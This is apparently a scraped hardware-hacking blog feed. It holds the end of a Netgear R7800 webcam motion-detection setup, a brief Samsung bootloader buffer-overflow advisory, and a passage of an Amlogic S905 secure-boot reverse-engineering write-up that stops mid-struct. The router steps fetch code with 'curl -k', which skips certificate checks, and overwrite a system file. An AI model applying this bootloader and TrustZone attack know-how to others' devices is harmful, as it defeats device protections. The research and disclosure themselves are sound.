$ <span class="nb">export</span> <span class="nv">PATH</span><span class="o">=</span><span class="nv">$PWD</span>/arm-eabi-4.8/bin:<span class="nv">$PATH</span>
</pre></div>
<p>Then we create a new kernel configuration based on the original one :</p>
<div class="highlight"><pre><span></span>$ <span class="nb">cd</span> git_home/linux.git/sourcecode/
$ make r7800_defconfig <span class="nv">ARCH</span><span class="o">=</span>arm <span class="nv">CROSS_COMPILE</span><span class="o">=</span>arm-eabi-
$ make menuconfig <span class="nv">ARCH</span><span class="o">=</span>arm <span class="nv">CROSS_COMPILE</span><span class="o">=</span>arm-eabi-
</pre></div>
<p>In the kernel configuration menu, we enable the following options to get V4L2 & USB Video support :</p>
<div class="highlight"><pre><span></span>Device Drivers --->
-> <*> Multimedia support --->
--> <*> Video For Linux
--> <*> Video capture adapters --->
---> <*> V4L USB devices --->
----> <*> USB Video Class (UVC)
----> <*> GSPCA based webcams
</pre></div>
<p>For info, that should correspond to these options :</p>
<div class="highlight"><pre><span></span>CONFIG_USB_VIDEO_CLASS=y
CONFIG_USB_GSPCA=y
CONFIG_VIDEO_V4L2_COMMON=y
CONFIG_VIDEO_V4L2=y
CONFIG_V4L_USB_DRIVERS=y
</pre></div>
<p>Finally, we build the kernel image :</p>
<div class="highlight"><pre><span></span>$ make -j8 uImage <span class="nv">ARCH</span><span class="o">=</span>arm <span class="nv">CROSS_COMPILE</span><span class="o">=</span>arm-eabi-
<span class="o">[</span>...<span class="o">]</span>
Kernel: arch/arm/boot/Image is ready
Kernel: arch/arm/boot/zImage is ready
UIMAGE arch/arm/boot/uImage
Image Name: Linux-3.4.103
Created: Mon Jan <span class="m">29</span> <span class="m">23</span>:58:38 <span class="m">2018</span>
Image Type: ARM Linux Kernel Image <span class="o">(</span>uncompressed<span class="o">)</span>
Data Size: <span class="m">2210952</span> <span class="nv">Bytes</span> <span class="o">=</span> <span class="m">2159</span>.13 <span class="nv">kB</span> <span class="o">=</span> <span class="m">2</span>.11 MB
Load Address: <span class="m">41508000</span>
Entry Point: <span class="m">41508000</span>
Image arch/arm/boot/uImage is ready
</pre></div>
<p>Output kernel image is <strong>arch/arm/boot/uImage</strong></p>
<div class="highlight"><pre><span></span>$ file arch/arm/boot/uImage
arch/arm/boot/uImage: u-boot legacy uImage, Linux-3.4.103, Linux/ARM, OS Kernel Image <span class="o">(</span>Not compressed<span class="o">)</span>, <span class="m">2210952</span> bytes, Tue Jan <span class="m">30</span> <span class="m">07</span>:58:38 <span class="m">2018</span>, Load Address: 0x41508000, Entry Point: 0x41508000, Header CRC: 0x81013485, Data CRC: 0xDEA9B00E
</pre></div>
<p>In current firmware, kernel partition size is 2228224 bytes. So the new kernel image cannot be larger.</p>
<p>We copy that image to a USB drive and then, <strong>from the telnet shell</strong>, we overwrite original kernel with the new image :</p>
<div class="highlight"><pre><span></span>root@R7800:/# dd <span class="k">if</span><span class="o">=</span>/mnt/sda1/uImage <span class="nv">of</span><span class="o">=</span>/dev/mtdblock5
root@R7800:/# sync
root@R7800:/# reboot
</pre></div>
<p><em>Note: You have to enable telnet in WebUI after each reboot.</em></p>
<p>Now the router detects USB camera when plugged in :</p>
<div class="highlight"><pre><span></span>usb 3-1: new high-speed USB device number 5 using xhci-hcd
usb 3-1: New USB device found, idVendor=1908, idProduct=2310
usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 3-1: Product: USB2.0 PC CAMERA
usb 3-1: Manufacturer: Generic
usb 3-1: SerialNumber: 20100331010203
INFO008C: Add device intf d39cc400, dev d39a5000
INFO0C15: filter audio device
uvcvideo: Found UVC 1.00 device USB2.0 PC CAMERA (1908:2310)
input: USB2.0 PC CAMERA as /devices/platform/ipq-dwc3.1/dwc3.1/xhci-hcd.1/usb3/3-1/3-1:1.0/input/input3
</pre></div>
<h1>Install software packages</h1>
<p><em>"<a href="proxy.php?url=https://motion-project.github.io/">Motion</a> is a program that monitors the video signal from cameras. It is able to detect if a significant part of the picture has changed; in other words, it can detect motion."</em></p>
<p>Fortunately, this package is available in OpenWrt repositories for our architecture.
And stock firmware includes the OpenWrt package manager <strong>opkg</strong>.</p>
<p>However, <strong>opkg</strong> is outdated and needs to be <a href="proxy.php?url=https://gist.github.com/frederic/fcb7ddc14c46aa630143aaeafe2d706f">patched</a> first :</p>
<div class="highlight"><pre><span></span>root@R7800:/# curl -k https://gist.githubusercontent.com/frederic/fcb7ddc14c46aa630143aaeafe2d706f/raw/8242c18a514f19b58c74387d4bfa0e5511bbb4e5/functions.sh -o <span class="s1">'/lib/functions.sh'</span>
</pre></div>
<p>Then, we can install <em>motion</em> & <em>libjpeg</em> packages :</p>
<div class="highlight"><pre><span></span>root@R7800:~# curl -k https://raw.githubusercontent.com/frederic/netgear-R7800-GPL/master/ipk/libjpeg_9a-1_ipq806x.ipk -o /tmp/libjpeg_9a-1_ipq806x.ipk
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
<span class="m">100</span> <span class="m">92994</span> <span class="m">100</span> <span class="m">92994</span> <span class="m">0</span> <span class="m">0</span> 259k <span class="m">0</span> --:--:-- --:--:-- --:--:-- 430k
root@R7800:~# opkg install /tmp/libjpeg_9a-1_ipq806x.ipk
Installing libjpeg <span class="o">(</span>9a-1<span class="o">)</span> to root...
Configuring libjpeg.
root@R7800:~# curl -k https://raw.githubusercontent.com/frederic/netgear-R7800-GPL/master/ipk/motion_3.4.0-20141018-9479d910f2149b5558788bb86f97f26522794212-1_ipq806x.ipk -o /tmp/motion_3.4.0-20141018-9479d910f2149b5558788bb86f97f26522794212-1_ipq806x.ipk
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
<span class="m">100</span> <span class="m">94802</span> <span class="m">100</span> <span class="m">94802</span> <span class="m">0</span> <span class="m">0</span> 297k <span class="m">0</span> --:--:-- --:--:-- --:--:-- 387k
root@R7800:~# opkg install /tmp/motion_3.4.0-20141018-9479d910f2149b5558788bb86f97f26522794212-1_ipq806x.ipk
Installing motion <span class="o">(</span><span class="m">3</span>.4.0-20141018-9479d910f2149b5558788bb86f97f26522794212-1<span class="o">)</span> to root...
Configuring motion.
</pre></div>
<p>Note that motion software expects its default configuration file at different path than the one actually provided. So we move it back to default path :</p>
<div class="highlight"><pre><span></span>root@R7800:/# mkdir /etc/motion
root@R7800:/# mv /overlay/etc/motion.conf /etc/motion/motion.conf
</pre></div>
<h1>Configuration</h1>
<p>To enable motion detection only when our smartphone (hence we) is not at home, we call our custom script in Hostapd script <strong>/lib/wifi/wps-hostapd-update-uci</strong>.
It will only be triggered when a station connects or disconnects from the router.</p>
<div class="highlight"><pre><span></span><span class="gh">diff --git a/lib/wifi/wps-hostapd-update-uci b/lib/wifi/wps-hostapd-update-uci</span>
<span class="gh">index f60abe3..dd6f3f2 100755</span>
<span class="gd">--- a/lib/wifi/wps-hostapd-update-uci</span>
<span class="gi">+++ b/lib/wifi/wps-hostapd-update-uci</span>
<span class="gu">@@ -157,6 +157,9 @@ check_ap_lock_down()</span>
}
case "$CMD" in
<span class="gi">+ AP-STA-CONNECTED|AP-STA-DISCONNECTED)</span>
<span class="gi">+ /etc/motion_cron.sh $CMD $3</span>
<span class="gi">+ ;;</span>
WPS-NEW-AP-SETTINGS|WPS-NEW-AP-SETTINGS-AP-PIN)
local ssid=$(hostapd_cli -i$IFNAME -p/var/run/hostapd-$parent get_config | grep ^ssid= | cut -f2- -d =)
local wpa=$(hostapd_cli -i$IFNAME -p/var/run/hostapd-$parent get_config | grep ^wpa= | cut -f2- -d=)
</pre></div>
<p>We create the following script in <strong>/etc/motion_cron.sh</strong> :</p>
<div class="highlight"><pre><span></span><span class="ch">#!/bin/sh</span>
<span class="c1"># Start or stop motion service depending on wifi client status</span>
<span class="c1"># Usage: motion_cron.sh [<event_type> <mac addr>]</span>
<span class="nv">HWADDR</span><span class="o">=</span><span class="m">00</span>:11:22:33:44:55 <span class="c1"># Update with your smartphone MAC address</span>
<span class="nv">CONNECTED</span><span class="o">=</span><span class="m">0</span>
<span class="nv">CMD</span><span class="o">=</span>motion
<span class="nv">CMD_PID</span><span class="o">=</span>/var/run/<span class="nv">$CMD</span>.pid
<span class="nv">CMD_BIN</span><span class="o">=</span>/usr/bin/<span class="nv">$CMD</span>
<span class="nv">PID</span><span class="o">=</span><span class="sb">`</span>pidof <span class="nv">$CMD</span><span class="sb">`</span>
<span class="k">if</span> <span class="o">[</span> <span class="nv">$#</span> -eq <span class="m">2</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nv">EVENT</span><span class="o">=</span><span class="nv">$1</span>
<span class="nv">EVENT_MAC</span><span class="o">=</span><span class="nv">$2</span>
<span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$EVENT_MAC</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"</span><span class="nv">$HWADDR</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="k">case</span> <span class="s2">"</span><span class="nv">$EVENT</span><span class="s2">"</span> in
AP-STA-DISCONNECTED<span class="o">)</span>
<span class="nv">CONNECTED</span><span class="o">=</span><span class="m">0</span>
<span class="p">;;</span>
AP-STA-CONNECTED<span class="o">)</span>
<span class="nv">CONNECTED</span><span class="o">=</span><span class="m">1</span>
<span class="p">;;</span>
*<span class="o">)</span>
<span class="nb">echo</span> <span class="s2">"Non-interesting event, ignore..."</span>
<span class="nb">exit</span> <span class="m">0</span>
<span class="k">esac</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$EVENT</span><span class="s2"> </span><span class="nv">$EVENT_MAC</span><span class="s2">"</span>
<span class="k">else</span>
<span class="nb">echo</span> <span class="s2">"Not our MAC, ignore..."</span>
<span class="nb">exit</span> <span class="m">0</span>
<span class="k">fi</span>
<span class="k">else</span>
<span class="k">if</span> grep <span class="s2">"0x2\W\+</span><span class="nv">$HWADDR</span><span class="s2">"</span> /proc/net/arp <span class="p">;</span> <span class="k">then</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$HWADDR</span><span class="s2"> is connected in arp table"</span>
<span class="nv">CONNECTED</span><span class="o">=</span><span class="m">1</span>
<span class="k">else</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$HWADDR</span><span class="s2"> is disconnected in arp table"</span>
<span class="nv">CONNECTED</span><span class="o">=</span><span class="m">0</span>
<span class="k">fi</span>
<span class="k">fi</span>
<span class="k">if</span> <span class="o">[</span> <span class="nv">$CONNECTED</span> -eq <span class="m">1</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$HWADDR</span><span class="s2"> is connected"</span>
<span class="k">if</span> <span class="o">[</span> -n <span class="s2">"</span><span class="nv">$PID</span><span class="s2">"</span> <span class="o">]</span>
<span class="k">then</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$CMD</span><span class="s2"> is running, stopping it..."</span>
start-stop-daemon -K -x <span class="nv">$CMD_BIN</span> -p <span class="nv">$CMD_PID</span>
<span class="k">fi</span>
<span class="k">else</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$HWADDR</span><span class="s2"> is disconnected"</span>
<span class="k">if</span> <span class="o">[</span> -z <span class="s2">"</span><span class="nv">$PID</span><span class="s2">"</span> <span class="o">]</span>
<span class="k">then</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$CMD</span><span class="s2"> is not running, starting it..."</span>
start-stop-daemon -S -x <span class="nv">$CMD_BIN</span> -- -b -p <span class="nv">$CMD_PID</span>
<span class="k">fi</span>
<span class="k">fi</span>
</pre></div>
<p><strong>$HWADDR</strong> has to be set to MAC address of our smartphone.</p>
<p>As failsafe mechanism, we can also add this script to cron :</p>
<div class="highlight"><pre><span></span><span class="nb">echo</span> <span class="s2">" 0 * * * * /etc/motion_cron.sh"</span> >> /etc/crontabs/root
</pre></div>
<p>Finally, we edit the file <em>/etc/motion/motion.conf</em> to configure motion. A <a href="proxy.php?url=http://htmlpreview.github.io/?https://github.com/Motion-Project/motion/blob/master/motion_guide.html">guide is available on official motion website</a>.
In addition of your own settings, I recommend to set the output storage path to an external USB drive :</p>
<div class="highlight"><pre><span></span>target_dir /mnt/sda1
</pre></div>SVE-2016-7930: Multiple buffer overflows in Samsung Galaxy bootloader2017-07-23T00:00:00-07:002017-07-23T00:00:00-07:00Frédérictag:fredericb.info,2017-07-23:/2017/07/sve-2016-7930-multiple-buffer-overflows-in-samsung-galaxy-bootloader.html<h1>Prequel</h1>
<p>On October 21st 2015, mobile forensics company <a href="proxy.php?url=https://www.cellebrite.com/">Cellebrite</a> published a video that demonstrates how their solution can dump eMMC of Samsung Galaxy devices :</p>
<iframe width="560" height="315" src="proxy.php?url=https://www.youtube.com/embed/ZsGBbswJGi4?rel=0" frameborder="0" gesture="media" allow="encrypted-media" allowfullscreen></iframe>
<p>This video strongly suggests that Samsung Galaxy bootloader can be exploited to execute arbitrary code.</p>
<h1>Summary</h1>
<p>Several bugs in Samsung Galaxy bootloader allow an attacker with …</p><h1>Prequel</h1>
<p>On October 21st 2015, mobile forensics company <a href="proxy.php?url=https://www.cellebrite.com/">Cellebrite</a> published a video that demonstrates how their solution can dump eMMC of Samsung Galaxy devices :</p>
<iframe width="560" height="315" src="proxy.php?url=https://www.youtube.com/embed/ZsGBbswJGi4?rel=0" frameborder="0" gesture="media" allow="encrypted-media" allowfullscreen></iframe>
<p>This video strongly suggests that Samsung Galaxy bootloader can be exploited to execute arbitrary code.</p>
<h1>Summary</h1>
<p>Several bugs in Samsung Galaxy bootloader allow an attacker with physical access to execute arbitrary code. Protections like OS lock screen and reactivation lock can be defeated.</p>
<p>Download mode (a.k.a. ODIN) doesn't properly sanitize headers of flashed images. This can lead to integer & buffer overflows.</p>
<p>Bugs and exploitation technique are detailed in the <a href="proxy.php?url=https://www.sstic.org/media/SSTIC2017/SSTIC-actes/attacking_samsung_secure_boot/SSTIC2017-Article-attacking_samsung_secure_boot-basse.pdf">paper released at SSTIC 2017 conference</a>.</p>
<h1>Proof-of-Concept</h1>
<p>PoC code for Samsung Galaxy S5 has been <a href="proxy.php?url=https://github.com/frederic/SVE-2016-7930">released on GitHub</a></p>
<h1>CVSS Version 3 Metrics</h1>
<ul>
<li>Attack Vector (AV): Physical (P)</li>
<li>Attack Complexity (AC): Low (L)</li>
<li>Privileges Required (PR): None (N)</li>
<li>User Interaction (UI): None (N)</li>
<li><a href="proxy.php?url=https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">Overall CVSS Score: 6.8</a></li>
</ul>
<h1>Solution</h1>
<p>Samsung has released a fix via OTA.</p>
<h1>Disclosure Timeline</h1>
<ul>
<li>2016-12-20 Disclosed to Samsung</li>
<li>2017-03-07 Public disclosure in Samsung Bulletin <a href="proxy.php?url=https://security.samsungmobile.com/securityUpdate.smsb">SMR-MAR-2017</a></li>
<li>2017-06-08 Talk at <a href="proxy.php?url=https://www.sstic.org/2017/presentation/attacking_samsung_secure_boot/">SSTIC 2017 conference</a></li>
<li>2017-07-21 <a href="proxy.php?url=https://github.com/frederic/SVE-2016-7930">Proof-of-Concept released</a></li>
</ul>Amlogic S905 SoC: bypassing the (not so) Secure Boot to dump the BootROM2016-10-05T00:00:00-07:002016-10-05T00:00:00-07:00Frédérictag:fredericb.info,2016-10-05:/2016/10/amlogic-s905-soc-bypassing-not-so.html<p>The <a href=
"http://www.amlogic.com/#Products/176/index.html">Amlogic S905
System-On-Chip</a> is an ARM processor designed for video
applications. It's widely used in Android/Kodi media boxes. The SoC
implements the TrustZone security extensions to run a Trusted
Execution Environment (TEE) that enables DRM & other security
features :<br>
<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="S905 block diagram" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/S905_arch.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Amlogic S905
System Block Diagram</td>
</tr>
</tbody>
</table>
<br>
The SoC contains a Secure …</p><p>The <a href=
"http://www.amlogic.com/#Products/176/index.html">Amlogic S905
System-On-Chip</a> is an ARM processor designed for video
applications. It's widely used in Android/Kodi media boxes. The SoC
implements the TrustZone security extensions to run a Trusted
Execution Environment (TEE) that enables DRM & other security
features :<br>
<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="S905 block diagram" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/S905_arch.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Amlogic S905
System Block Diagram</td>
</tr>
</tbody>
</table>
<br>
The SoC contains a Secure Boot mechanism to authenticate the TEE
image before loading it in TrustZone. And the first link of this
Secure Boot chain is the BootROM code, stored directly in the
chip.<br>
<span style="background-color: red;"><br></span>This articles
describes how to extract the BootROM code from this SoC in the
Android-based <a href="proxy.php?url=http://www.inphic.com/">Inphic Spot i7
device</a>.<br>
<h2>Technical documentation</h2>
Amlogic released a public version of the S905 datasheet thanks to
<a href=
"http://www.hardkernel.com/main/products/prdt_info.php?g_code=G145457216438&tab_idx=2">
Hardkernel</a>. However, it's heavily redacted, and most parts
regarding the Secure Boot or the TrustZone have been removed. But
we can still find a lot of technical information in GPL source code
packages released by <a href=
"http://openlinux.amlogic.com:8000/download/ARM/">Amlogic</a> &
<a href=
"https://github.com/150balbes/Amlogic_s905-kernel">OEMs</a>.<br>
For example, we can find a potential address for the BootROM
code:<br></p>
<div class="highlight"><pre><span></span><span class="cp">#define ROMBOOT_START 0xD9040000</span>
<span class="cp">#define ROM_SIZE (64 * 1024)</span>
<span class="cp">#define ROMBOOT_END (ROMBOOT_START + ROM_SIZE)</span>
</pre></div>
<h2>Root access over the UART</h2>
<p>We start by connecting the serial port (or UART) because this
interface could provide a quick & easy access to debug messages &
serial console on bootloaders and Linux kernel.<br>
<a href=
"http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/">
Identifying the serial port</a> on this board is quite simple
since there is a port header with labels for the pinout:<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="UART" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/uart_header.jpg">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">UART on Inphic
Spot i7 board</td>
</tr>
</tbody>
</table>
<br>
We connect an USB to UART adapter to this port. Once the Linux
kernel boot process is finished, we have directly access to a root
shell.<br>
We can start to explore the (Non-Secure side of the)
system. For example, we can dump the partitions :<br></p>
<div class="highlight"><pre><span></span>root@p200:/# ls -l /dev/block/platform/d0074000.emmc/
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 boot -> /dev/block/boot
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 bootloader -> /dev/block/bootloader
drwxr-xr-x root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 by-num
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 cache -> /dev/block/cache
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 crypt -> /dev/block/crypt
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 data -> /dev/block/data
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 env -> /dev/block/env
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 instaboot -> /dev/block/instaboot
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 logo -> /dev/block/logo
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 misc -> /dev/block/misc
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 mmcblk0 -> /dev/block/mmcblk0
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 mmcblk0boot0 -> /dev/block/mmcblk0boot0
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 mmcblk0boot1 -> /dev/block/mmcblk0boot1
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 mmcblk0rpmb -> /dev/block/mmcblk0rpmb
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 recovery -> /dev/block/recovery
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 reserved -> /dev/block/reserved
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 rsv -> /dev/block/rsv
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 system -> /dev/block/system
lrwxrwxrwx root root <span class="m">2015</span>-01-01 <span class="m">00</span>:00 tee -> /dev/block/tee
</pre></div>
<div>While the <i>tee</i> partition (Trusted Execution
Environment) turns out to be empty, the <i>bootloader</i> partition
contains several bootloaders. But not the BootROM because it's
stored in the SoC, not the flash.</div>
<h2>(Fail at) Reading the BootROM</h2>
<p>Since we have root permissions and a potential memory address for
the BootROM, we can try to read it directly. The provided Android
ROM contains a handy debugfs interface to peek & poke physical
memory from user-land:<br></p>
<div class="highlight"><pre><span></span>root@p200:/# <span class="nb">echo</span> <span class="s2">"d0070000"</span> >/sys/kernel/debug/aml_reg/paddr
root@p200:/# cat /sys/kernel/debug/aml_reg/paddr
<span class="o">[</span>0xd0070000<span class="o">]</span> <span class="o">=</span> 0x1000254
</pre></div>
<div>This <i>aml_reg</i> driver uses the <i>ioremap</i> kernel
function to set up an appropriate kernel page-table mapping for the
requested address.</div>
<div><br></div>
<div>However, if we try to read the
hypothetical BootROM area:</div>
<div class="highlight"><pre><span></span>root@p200:/# <span class="nb">echo</span> <span class="s2">"d9040000"</span> >/sys/kernel/debug/aml_reg/paddr
root@p200:/# cat /sys/kernel/debug/aml_reg/paddr
<span class="o">[</span> <span class="m">376</span>.546491@0<span class="o">]</span> Unhandled fault: synchronous external abort <span class="o">(</span>0x96000010<span class="o">)</span> at 0xffffff80001aa000
<span class="o">[</span> <span class="m">376</span>.549396@0<span class="o">]</span> Internal error: : <span class="m">96000010</span> <span class="o">[</span><span class="c1">#1] PREEMPT SMP</span>
<span class="o">[</span> <span class="m">376</span>.554712@0<span class="o">]</span> Modules linked in: dwc_otg dhd<span class="o">(</span>O<span class="o">)</span> aml_thermal<span class="o">(</span>O<span class="o">)</span> mali<span class="o">(</span>O<span class="o">)</span> aml_nftl_dev<span class="o">(</span>PO<span class="o">)</span>
</pre></div>
<p>
<div>The kernel crashes. So either the BootROM address is
wrong or this memory area is set as <a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.prd29-genc-009492c/ch03s03s02.html">
secure</a>.</div>
<div>Since we don't have other candidates for
the BootROM address, let's say the BootROM area
is not accessible from the Non-Secure World.</div>
<h2>Enter the Secure World</h2>
<div>In theory, the Secure Boot chain prevents loading unauthorized
code in the Secure World.<br>
A quick inspection of debug logs from the UART during the early
phases of boot indicates that the bootloaders are based on
the <a href=
"https://github.com/ARM-software/arm-trusted-firmware">ARM Trusted
Firmware (ATF)</a> reference implementation.</div>
<div>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="ARM Trusted Firmware Design" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/securebootflow.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">ARM Trusted
Firmware Design</td>
</tr>
</tbody>
</table>
We will now explore some ways to get access to Secure World.<br>
<h2>U-Boot bootloader</h2>
Using the console over UART, we can interrupt the U-Boot boot
sequence to access to the prompt. From here we can run arbitrary
U-boot commands:<br>
<blockquote class="tr_bq">Hit any key to stop autoboot: 0<br>
gxb_p200_v1#help<br>
? - alias for 'help'<br>
aml_sysrecovery- Burning with amlogic format package from partition
sysrecovery<br>
amlmmc - AMLMMC sub system<br>
amlnf - aml nand sub-system<br>
amlnf_test- AMLPHYNAND sub-system<br>
autoping- do auto ping test<br>
autoscr - run script from memory</blockquote>
However the U-Boot bootloader (named BL33 in the ATF design) runs
in Non-Secure mode as we can see in boot logs from the UART
console:</div>
<div>
<blockquote>INFO: BL3-1: Preparing for EL3 exit to
normal world<br>
INFO: BL3-1: Next image address = 0x1000000<br>
INFO: BL3-1: Next image spsr = 0x3c9<br>
<br>
U-Boot 2015.01-ga9e9562-dirty (May 06 2016 - 03:36:02)</blockquote>
So at this point we are already locked out of the Secure World.
Next.<br>
<h2>SMC interface</h2>
Secure & Non-Secure Worlds can communicate through the ARM Secure
Monitor Call (SMC). When a core executes the SMC instruction, it
switches to Secure Monitor mode (exception level EL3).</div>
<div>In the ATF design, the code that runs in EL3 is named the Boot
Loader stage 3-1 (BL31). We can find this image in the
<i>bootloader</i> partition we've dumped previously. This code is
highly critical for TrustZone security so we should explore it.<br>
<br>
The open-source ATF code base in the BL31 image facilitates the
analysis by reverse engineering, since we can quickly recover the
ATF code structure.<br>
Here is the list of registered services that handle SMC interrupts
from Normal World:<br>
<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/rt_svc_descs.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Registered
services in BL31 image</td>
</tr>
</tbody>
</table>
<br>
The <i>sip_svc</i> service is interesting because it contains
several custom functions developed by Amlogic:<br>
<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/sip_svc_plat_ops.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">List of handlers
in the SIP service</td>
</tr>
</tbody>
</table>
At first glance, functions <i>hdcp22_sec_read_reg</i>
& <i>hdcp22_sec_write_reg</i> look promising because they
are read & write primitives for the secure memory. However, they
strictly restrict access to specific memory ranges:<br>
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/hdcp22_sec_read_reg.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">
Function hdcp22_sec_read_reg decompiled</td>
</tr>
</tbody>
</table>
A quick (incomplete) analysis of other functions didn't reveal any
trivial flaw in parameters sanitization (arbitrary read/write
bugs). Some of them are quite complex, especially the cryptographic
functions, so they have not been inspected at all.<br>
<br>
We may be able to trigger Secure World memory corruption from the
Normal World if <a href=
"http://www.fredericb.info/2014/12/qpsiir-80-qualcomm-trustzone-integer.html">
we find bugs</a> in one of these functions, and then achieve
privilege escalation to Secure World. However that would require
some expert skills to <a href=
"http://bits-please.blogspot.fr/2016/05/qsee-privilege-escalation-vulnerability.html">
actually exploit them</a>. So let's explore another attack
vector.<br>
<h2>Bypass the Secure Boot chain</h2>
</div>
<div>Another solution to get access to the Secure World is to
break/bypass/fool/kindly ask the Secure Boot chain at one of its
stage. A common attack surface of a Secure Boot chain is the
loading, parsing and authentication steps of the next stage.</div>
<div><br></div>
<div>We don't have access to BL1 code (yet!) since it's stored in
the SoC. But we have the BL2 image from
the <i>bootloader</i> partition we have dumped
previously. So we will analyze the mechanism used by BL2 to parse
and authenticate the BL31 image in the hope of finding interesting
flaws.<br>
<br>
Here start the lengthy process of reverse engineering a binary
without any syscall and very few strings to guide our efforts.
Fortunately, the BL2 image is quite small: ~40KB. And we have some
ideas to save time:</div>
<div><span style="background-color: red;"><br></span>Like BL31, the
BL2 image follows the ATF code logic, so reverse engineering
efforts are a bit simplified: we can quickly spot main functions &
structures defined in the ATF code base.</div>
<div><br></div>
<div>Another RE trick is to identify the memory-mapped devices
accessed by functions to deduce their role.</div>
<div>Several address ranges of these memory areas can be found in
the SoC datasheet and the <a href=
"https://github.com/150balbes/Amlogic_S905-u-boot/blob/32cbae9c92a0a5b5a5d0f58f8fd3ca31d1f9ce66/arch/arm/include/asm/arch-gxb/secure_apb.h">
GPL source code</a>. For example, we can expect that cryptographic
functions access memory registers dedicated to the hardware
cryptographic engine.<br>
<br>
Finally, we don't want to spend time reversing open source code,
especially cryptographic code because the task is quite hard. And
since it's also complex from the developer perspective, we can
expect they used a library, which may be open source. So we looked
for similarities in function prototypes, call sequence &
initialization of context structures between BL2 code and few
potential OSS libraries. In our case, we quickly figured out that
the cryptographic code comes from the <a href=
"https://tls.mbed.org/">OSS PolarSSL/mbed TLS project</a>.<br>
<div><br></div>
<h3>Analyzing BL2 authentication routine</h3>
Once BL2 has loaded the BL3 image from the NAND, the header is
parsed. We don't have any information on the header structure yet
(not present in the ATF code), but we can notice it starts with a
constant <i>magic</i> value "<b>@AML</b>". This helps to quickly
locate the parsing code in the BL2 binary.<br>
We combine "guessing" (i.e. looking at the BL31 header in a hex
editor) and reverse engineering of the BL2 parsing code to figure
out some members of the header structure:<br></p>
<div class="highlight"><pre><span></span><span class="k">struct</span> <span class="n">aml_img_header</span> <span class="p">{</span>
